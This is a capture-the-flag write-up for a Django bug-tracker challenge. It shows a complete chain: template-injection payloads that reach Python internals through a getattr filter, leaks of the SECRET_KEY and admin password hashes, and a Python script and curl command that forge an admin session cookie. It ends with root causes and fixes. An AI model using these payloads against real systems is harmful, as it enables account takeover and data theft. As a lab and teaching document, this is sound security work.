Break The Syntax CTF 2026 – bugxxor Challenge Writeup


bugxxor is a small Django (4.2) bug-tracking style web application served behind gunicorn in a Kubernetes pod. Authenticated users can register, log in, write “bug reports” (posts) and view a feed. A protected endpoint /flag/ reveals the flag, but it is locked behind is_superuser.

The interesting feature — and the source of the vulnerability — is that posts are not just stored and rendered as plain text: the post body is fed into Django’s template engine and rendered as a Django template before being shown back to the user. In other words, every post is a server-side template. The application also ships a custom template-tag library that adds two filters:

  • leet — replaces characters in a string with l33t equivalents (harmless).
  • get_bug_info(value, key) — returns getattr(value, key), with no underscore protection at all.

The combination of (a) user-controlled template source, (b) a getattr-based filter that bypasses Django’s normal _ lookup ban, and (c) Django’s auto-call behaviour for callables, leads to a full Server-Side Template Injection (SSTI) -> Python sandbox escape -> SECRET_KEY leak -> admin session forgery chain that ultimately reads /flag/.

This writeup walks through that chain from first contact to the final flag.

Initial Analysis:

After visiting https://bugxxor-dc19c79d71df2f60.chall.bts.wh.edu.pl/, the following endpoints are discovered:

PathPurpose
/Public feed of recent posts
/login/Standard Django login form
/register/Self-service registration (open)
/post/new/Submit a new post (auth required)
/post/<id>/View a single post (HTML body is rendered, not escaped)
/flag/Returns the flag, but only if request.user.is_superuser is truthy
/admin/Django admin (requires staff)

After registering a tester1 account and logging in, posting a body of {{ 7|add:1 }} and viewing the post yields 8 — confirming that post content is evaluated as a Django template.

A quick probe of the template context shows the variables available at render time include bugs, insects, total_bugs and platform. Most relevant: bugs is an instance of a class defined inside board/views.py.

The Vulnerability:

Two design mistakes combine catastrophically.

User-controlled template source

post_detail builds a Template from post.content and renders it with the request’s context. Anything the author writes is interpreted by the Django template language. By itself this would already be SSTI — but Django’s templating language is intentionally restrictive: {{ obj._something }} is rejected, you cannot index dicts with [ ], you cannot call functions with arguments, etc.

The get_bug_info filter

The custom filter is roughly:

@register.filter(name="get_bug_info")
def get_bug_info(value, key):
   return getattr(value, key)

This is the killer bug. Django’s built-in attribute resolution explicitly refuses to look up names beginning with _ and skips dunder attributes — that protection is the only thing standing between a template and arbitrary Python objects. The filter simply calls getattr, so:

{{ bugs|get_bug_info:"__class__" }}

immediately gives you the class object, and from there the entire object graph is reachable.

Even better, Django’s Variable._resolve_lookup does auto-call zero-argument callables when you write {{ x.foo }}, but filters do not. So a chain like:

bugs|get_bug_info:"__init__"|get_bug_info:"__globals__"

returns the raw __globals__ dict of Bugs.__init__ (which is the board.views module’s globals) without invoking anything.

Building the Exploit Primitives:

bugs is an instance of board.views.Bugs, so bugs.__init__.__globals__ is the board.views module dict. Posting:

{% with d=bugs|get_bug_info:"__init__"|get_bug_info:"__globals__" %}
{% for kv in d.items %}<{{ kv.0 }}>{% endfor %}
{% endwith %}

returns:

<__name__><__doc__><__package__><__loader__><__spec__><__file__><__cached__>
<__builtins__><render><redirect><get_object_or_404><login><logout>
<login_required><AuthenticationForm><Template><Context><Post><Profile>
<RegisterForm><PostForm><BugInfo><InsectInfo><Bugs><Insects>
<BENCH_CONTEXT><home><post_detail><post_create><register_view>
<login_view><logout_view><flag_view>

So the views module imports login, Post, Profile, Template, Context, … all directly accessible.

The auto-call problem and how to dodge it

Two annoying interactions:

  1. {{ d.login }} — Django dot lookup auto-calls callables with no arguments, so login(request, …) is invoked, raises TypeError: missing 'request', the lookup silently fails and the expression renders to the empty string.
  2. {{ d.Post }} — Post is a Django model class. Calling it with no args returns an empty unsaved instance, then .objects raises AttributeError (manager isn’t accessible from instances).

The filter pipeline does not auto-call, so we keep callables inside |-chains. To pluck a value from a dict without auto-calling, the trick is {% for kv in d.items %}{% if kv.0 == “name” %}{{ kv|slice:”1:2″|first }}{% endif %}{% endfor %} — slice and first are built-in filters and don’t call.

Verifying it works:

{% with d=bugs|get_bug_info:"__init__"|get_bug_info:"__globals__" %}
{% for kv in d.items %}{% if kv.0 == "login" %}
A=[{{ kv|slice:"1:2"|first }}]
{% endif %}{% endfor %}
{% endwith %}

Output:

A=[<function login at 0x7f210f834ea0>]

Pivoting to object.__subclasses__()

A more general primitive — useful for reaching the standard library — is to walk the class hierarchy:

{% with m=bugs|get_bug_info:"__class__"|get_bug_info:"__base__"|get_bug_info:"__subclasses__" %}
{% with d=m|slice:"141:142"|first|get_bug_info:"__init__"|get_bug_info:"__globals__" %}

{% endwith %}{% endwith %}

Index 141 happens to be os._wrap_close, whose __init__.__globals__ is the os module’s globals — giving direct access to os.environ, os.popen, and (most importantly) sys via os.sys. From there sys.modules.bugxxor.settings is reachable.

Leaking SECRET_KEY and Confirming Session Engine:

Reading the settings module:

{% with m=bugs|get_bug_info:"__class__"|get_bug_info:"__base__"|get_bug_info:"__subclasses__" %}
{% with d=m|slice:"141:142"|first|get_bug_info:"__init__"|get_bug_info:"__globals__" %}
SE={{ d.sys.modules.bugxxor.settings.SESSION_ENGINE }}|
SK={{ d.sys.modules.bugxxor.settings.SECRET_KEY }}|
FLAG_PATH={{ d.sys.modules.bugxxor.settings.FLAG_PATH }}|
BASE={{ d.sys.modules.bugxxor.settings.BASE_DIR }}
{% endwith %}{% endwith %}

Output (relevant fields):

SE = django.contrib.sessions.backends.signed_cookies
SK = 4a9+xbnhti!ngo03@5jy7pl29q#51()ra@=*efq%8&-_t83lc7
FLAG_PATH =                             (empty)
BASE = /app

Two crucial facts:

  • Session engine is signed_cookies. The session is the cookie — there is no DB row to read; whoever knows SECRET_KEY can mint sessions for any user.
  • The flag is stored in the view’s logic (gated on is_superuser), not on disk via FLAG_PATH.

os.environ does not contain a FLAG, so reading the file or the env is a dead end. We need to become the admin user.

Dumping the User Table:

We need the admin’s password field because Django’s session cookie is bound to salted_hmac(..., user.password), so a forged cookie must match the live hash.

The cleanest way is to traverse from login.__globals__ (which is django.contrib.auth.__init__) into its models attribute, where Django’s User model lives:

{% with d=bugs|get_bug_info:"__init__"|get_bug_info:"__globals__" %}
{% for kv in d.items %}{% if kv.0 == "login" %}
 {% with ag=kv|slice:"1:2"|first|get_bug_info:"__globals__" %}
   {% with users=ag.models|get_bug_info:"User"|get_bug_info:"objects"|get_bug_info:"all" %}
     {% for u in users %}
      [{{ u.id }}|{{ u.username }}|{{ u.password }}|{{ u.is_superuser }}]
     {% endfor %}
   {% endwith %}
 {% endwith %}
{% endif %}{% endfor %}
{% endwith %}

The output (HTML-decoded):

[1|admin|pbkdf2_sha256$600000$x31vLYIKtxO7QBqUL5CSZV$JJjRPMvgYXR3/RFr7a9NjwdqtuxzJ6M4+llDHVA+q1c=|True]
[2|tester1|pbkdf2_sha256$600000$RM09f0J5bCgQ9yHWbJsVI9$WhEYAM1vYyWAujP6+8cJhxjG8jqq434JsRu81P2c5WU=|False]
[3|admin2|pbkdf2_sha256$600000$1Xd41GxhGdGW2cfieyYeTr$dYldiu3E4IIykswOpa55BRbJPbfx5b5Wf1AyTLGdeH8=|False]

Anatomy of a Django signed_cookies Session:

With SESSION_ENGINE = ‘django.contrib.sessions.backends.signed_cookies’, the sessionid cookie is itself the serialized session payload, signed and timestamped:

<base64-json>:<base36-timestamp>:<HMAC-signature>

The auth middleware looks for three keys:

{
 '_auth_user_id':        '<pk as string>',
 '_auth_user_backend':   'django.contrib.auth.backends.ModelBackend',
 '_auth_user_hash':      salted_hmac(
                             "django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash",
                             user.password,
                             algorithm="sha256"
                        ).hexdigest(),
}

Django 4.2 uses SHA-256 for get_session_auth_hash (older versions used SHA-1; this is the “fallback” mechanism that old sessions migrate through). With SECRET_KEY and the admin’s password string, every input to dumps() is known.

We can sanity-check the formula using our own (tester1) cookie. Decoding it with the leaked key reveals exactly:

{
'_auth_user_id': '2',
'_auth_user_backend': 'django.contrib.auth.backends.ModelBackend',
'_auth_user_hash': '5f51c5bb94402d5a77368f945362f88245fb911d4a30ed5d0d5b979aefc91d4c'
}

and salted_hmac(…, tester1.password, “sha256”) over the leaked password produces the same hex — confirming algorithm and salt strings.

Forging the Admin Session:

import os, django
from django.conf import settings
​
settings.configure(
    SECRET_KEY="4a9+xbnhti!ngo03@5jy7pl29q#51()ra@=*efq%8&-_t83lc7",
    SESSION_ENGINE="django.contrib.sessions.backends.signed_cookies",
    SESSION_COOKIE_NAME="sessionid",
    SESSION_SERIALIZER="django.contrib.sessions.serializers.JSONSerializer",
    INSTALLED_APPS=["django.contrib.sessions"],
)
django.setup()
​
from django.utils.crypto import salted_hmac
from django.core.signing import dumps
​
admin_pw = (
    "pbkdf2_sha256$600000$x31vLYIKtxO7QBqUL5CSZV$"
    "JJjRPMvgYXR3/RFr7a9NjwdqtuxzJ6M4+llDHVA+q1c="
)
​
h = salted_hmac(
    "django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash",
    admin_pw,
    algorithm="sha256",
).hexdigest()
# -> 6931ecf9c5b090db227dfbc334ec5810c2d9aeba47d838de1a2d236203d1647f
​
cookie = dumps(
    {
        "_auth_user_id": "1",
        "_auth_user_backend": "django.contrib.auth.backends.ModelBackend",
        "_auth_user_hash": h,
    },
    salt="django.contrib.sessions.backends.signed_cookies",
    compress=True,
)
print(cookie)

Result:

.eJxVjDkOwjAQAP-yNbJ8xYlT0vOGaL27xgFkSzkqxN9RpBTQzozmDRPuW5n2VZZpZhjBwOWXJaSn1EPwA-u9KWp1W-akjkSddlW3xvK6nu3foOBaYIQQnRHKkbqko-Zkbc85kXNeqBuMJssRJaHveXADi0HL1gWrHZvg-wyfL_aYOCQ:1wLl7Q:JhYTddXEh3BR_47jVLv4mcKzb1Bi9cVVVV6gNfwCyoo

Capturing the Flag from the flag endpoint:

curl -sk --cookie 'sessionid=.eJxVjDkOwjAQAP-yNbJ8xYlT0vOGaL27xgFkSzkqxN9RpBTQzozmDRPuW5n2VZZpZhjBwOWXJaSn1EPwA-u9KWp1W-akjkSddlW3xvK6nu3foOBaYIQQnRHKkbqko-Zkbc85kXNeqBuMJssRJaHveXADi0HL1gWrHZvg-wyfL_aYOCQ:1wLl7Q:JhYTddXEh3BR_47jVLv4mcKzb1Bi9cVVVV6gNfwCyoo' https://bugxxor-dc19c79d71df2f60.chall.bts.wh.edu.pl/flag/

Response:

HTTP/2 200

<main>
<div class="flag-box">BtSCTF{bugxxor_more_like_buggedxxor_67676767}</div>
</main>

Root Cause Summary:

  1. Server-Side Template Injection: Rendering arbitrary user input through Template(post.content).render(…) is unsafe by design. Django’s templating language is not a sandbox; it is merely opinionated about which attribute names it will look up.
  2. getattr filter without underscore protection: The custom get_bug_info filter strips away even those opinions. Together with Django’s auto-call behaviour for context lookups (and the absence of auto-call inside filter pipelines, which the attacker uses defensively), this hands over __class__, __init__, __globals__, __subclasses__ and __builtins__.
  3. signed_cookies session backend: It is convenient (no DB writes), but it means the credential needed to impersonate any user is the SECRET_KEY — which the SSTI exposes through bugxxor.settings.

Fixes:

  • Treat post bodies as data, not templates. If template features are wanted, use a dedicated, sandboxed renderer (e.g. MiniMustache/Jinja2 SandboxedEnvironment) and never expose application objects in the context.
  • Remove get_bug_info, or at minimum reject keys starting with _ and validate the value type.
  • Prefer the database-backed session engine and rotate SECRET_KEY after any leak.
  • Don’t ship debug-friendly globals (Post, Profile, Template, …) in the same module that the SSTI sink lives in — a smaller blast radius would have made the __subclasses__ walk the only viable path.